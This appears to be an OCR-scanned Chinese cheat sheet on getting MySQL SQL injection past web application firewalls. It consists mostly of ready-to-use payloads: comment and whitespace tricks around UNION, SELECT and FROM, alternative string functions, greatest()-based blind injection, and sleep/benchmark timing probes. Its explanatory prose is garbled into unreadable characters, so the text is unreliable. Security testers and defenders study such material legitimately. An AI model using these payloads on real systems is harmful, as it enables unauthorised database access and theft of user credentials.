ox01 B
A2 EF B EuE R SEHITWAFSSS, EMysqldr , ELaNaTLUXHEE -

HESERR © /*112345union*/select
MysqlE2BEi%: select{x user}from{x mysql.user};
HRITRFET 1 %23%0a. %2d%2d%0a

—REIRE— MRS WAFBPHOEGERES .
0x02 Mzt

ERASMER

SELECT * FROM admin WHERE username = 1 [{i/Z—]) union [fi&=]) select [{uB=] 1,user() [{IEU]
from [{&F] admin

(RIE— : 2#flunionZERY(IE

MERAAL : /**%/ . /*150000union*/ EHF/ :
SELECT * FROM admin WHERE username = 1 union/**/select 1,user() from admin

Q=BFH

Mysqlsh I LARIFNZEH=/E ¢ %09,%0a,%0b,%0c,%0d , %20, %a0 ;

id=1%0aunion select 1,user() from admin
Htbfz=an : %1%20. %3920, %40%20. %23%0a. %2d%2d%0a

QiFEREE (1.1

SELECT * FROM admin WHERE username = 1.0union select 1,user() from admin
SELECT * FROM admin WHERE username 1l.union select 1,user() from admin

Btz - %1%2e. %2%2e

(4)1EORYFZE -

SELECT * FROM admin WHERE username 1EQunion select 1,user() from admin

(5) \Nunionf9fZ=; :

SELECT * FROM admin WHERE username = \Nunion select 1,user() from admin

SIE= : unionfllselectZ @AY H


af://n0
af://n5
af://n8
af://n21

Mysq eI BARNZEEZSS - %09,%0a,%0b,%0c,%0d, %20, %a0 ;
id=1 union%aOselect 1,user() from admin

(2)ERERF

FR=EERE , MYSQLAT LR BIN=EF/HE -

/7':7':/ R /f:anyth-i ng7‘:/

BFES

SELECT * FROM admin WHERE username =1 union(select 'test',(select user() from admin limit 0,1))
select * from admin union(select 'test',(select 'asd’),(select user() from users limit 0,1))

(IE= : selectIE OIS ZEIE

(M=B8FHF

MysqlFa] AR BRI A=A © %09,%0a,%0b,%0¢,%0d,%20,%a0 ;

id=1 union select%091,user() from admin

Q)iERFF

ERZAER , MYSQLFEILIFIBNZBFH/E -

/¥%/. /*anything*/

(3 ELth=FF

%21 | IS

%2b + NS

%2d - IS

%40 @ FFHRHFTS

%7e ~ KRS

SELECT * FROM admin WHERE username = 1 union select~1,user() from admin
(@EfhA

&5 . SELECT * FROM admin WHERE username = 1 union select(1),user() from admin
NEX : SELECT * FROM admin WHERE username = 1 union //12345select/1,user() from admin
@=FFF : SELECT * FROM admin WHERE username = 1 union select@ 1 ,user() from admin
{#&5 : SELECT * FROM admin WHERE username = 1 union select {x 1},user() from admin
5|5 : SELECT * FROM admin WHERE username = 1 union select"1",user() from admin

\N : SELECT * FROM admin WHERE username = 1 union select\N,user() from admin


af://n30

(BN : SRSHffromZERYE

(M=ZBFH

Mysql A LAFIBRZEZFEE © %09,%0a,%0b,%0¢,%0d,%20,%a0 ;
id=1 union select 1,user()%09from admin

Q)iEREFF

{ERZEERE , MYSQLATLINRNEEZRE |
/*%/ _ /*anything*/

BEMFFS

RS %60 : SELECT * FROM admin WHERE username = 1 union(select 1,(select schema_name from
information_schema.SCHEMATA limit 0,1))

SELECT * FROM admin WHERE username = 1 union select 1,user() from admin

RESTRE : SELECT * FROM admin WHERE username = 1 union(select 1,(select/!schema_name/from
information_schema.SCHEMATA limit 1,1))

{#&#5 : SELECT * FROM admin WHERE username = 1 union(select 1,(select{x schema_name}from
information_schema.SCHEMATA limit 1,1))

¥55 : SELECT * FROM admin WHERE username = 1 union(select 1,(select(schema_name)from
information_schema.SCHEMATA limit 1,1))

5|5 SELECT * FROM admin WHERE username = 1 union select 1,user()""from admin
FESEEIN=ZE : SELECT * FROM admin WHERE username = 1 union select 1,user()A from admin
REN=H : SELECT * FROM admin WHERE username = 1 union select 1,user()  bfrom admin
(4)F=%. 1eom9fZal. \NFE=C

id=1 union%0cselect user(),2.0from admin

SELECT * FROM admin WHERE username = 1 unionselect user(),2.0from admin

SELECT * FROM admin WHERE username = 1 union select user(),8e0from admin

SELECT * FROM admin WHERE username = 1 union select user(),\Nfrom admin

(IEA : fromGEGE

QEESEZS

Mysql SRR LARI AR H=ZREE - %09,%0a,%0Db,%0c¢,%0d,%20,%a0 ;

id=1 union select 1,user()%09from admin

Q)EREFF

ERZAER , MYSQLFEILIFIFNZBFH/E -

/**/. /*anything*/
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(3 ELfh=FF

RS : id=1 union select 1,(select(schema_name)from information_schema .SCHEMATA limit 0,1)
WELGERE - id=1 union select 1,(select(schema_name)from/!12345information_schema.SCHEMATA/ limit 0,1)
&S : id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)

¥ES : id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)
E—MEROBERT , KNEFEIEFESI LA

SELECT * FROM admin WHERE username = 1 union select 1,user() from123asdadmin

0x03 EHEY

RE— : ERATiREE

(1)FFFERERENEREL

Mid(version(),1,1)

Substr(version(),1,1)

Substring(version(),1,1)

Lpad(version(),1,1)

Rpad(version(),1,1)

Left(version(),1)

reverse(right(reverse(version()),1))

(2)FFFERIERR R

concat(version(),'|,user());

concat_ws('|',1,2,3)

(3)FAFEEIR Ascii(1) LEERE Z BIHIE ZwafRIRHRBASIE T | A5 fERascii (1)BIA] Char(49) Hex(a’) Unhex(61)
REIZ . SIETRHES

(MIimitgHHES : limit 1 offset 0

Q)EFBEEEUANES midZbaYES © mid(version() from 1 for 1)
(BuniontANES : EidjoiniHE,

SELECT * FROM admin WHERE username = 1 union select * from (select 1)a join(select{x schema_name} from
information_schema.SCHEMATA limit 1,1)b

(DIRIERF<>1HTIE

select * from users where id=1 and ascii(substr(database(),0,1))>64

Jttﬂj‘ill]%tbiszi‘safﬁﬁ%&uﬁ . FENSEEGNTTESER BPAM A LAEAgreatestS R ELUBIRER 7,
greatest(n1,n2,n3,Z)REVREHMANSE(N1,n2,n3, F)NHEAE. BBA LEMIXFKsqIEGRILAERgreatestZ AT
BT
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select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64/4% : {fEFEgreatest()said Ll kg
1ERT.

KB BPEEIE

(1) sleep(5)/benchmark (10000000, SHAL1(1))
id=1 xor sleep%23%0a(5)
id=1 xor sleep%2d%2d%0a(5)

id=1 xor sleep([%20]5)
id=1 xor benchmark%0a (10000000, SHA1(1))

oA

id=1 xor sleep[Z=HZF](5)

Mysqlsh ] AR FBZH=/E © %09,%0a,%0b,%0¢,%0d,%20,%a0 ;
(2)select {x 1=

select{x[ATEFEZERFI}

MysqlF A LAFIBZEZFEE © %09,%0a,%0b,%0¢,%0d,%20,%a0 ;

%21 ! %2b + %2d - %40 @ %7e ~

0x04 END

RGLE T —EERAIMysq I EIRERIEFARISOI R | XERRIEZSTH—FEIEERE |, LU EXETEER
A9, LEIN © BBRE—REGER , IUUBRESE , BOHSHSABRIES.

MNERBRSEFMEBRITARRS L | RDHLAAAATEHRAIRNRS —EERIE— T, BRI EIE.
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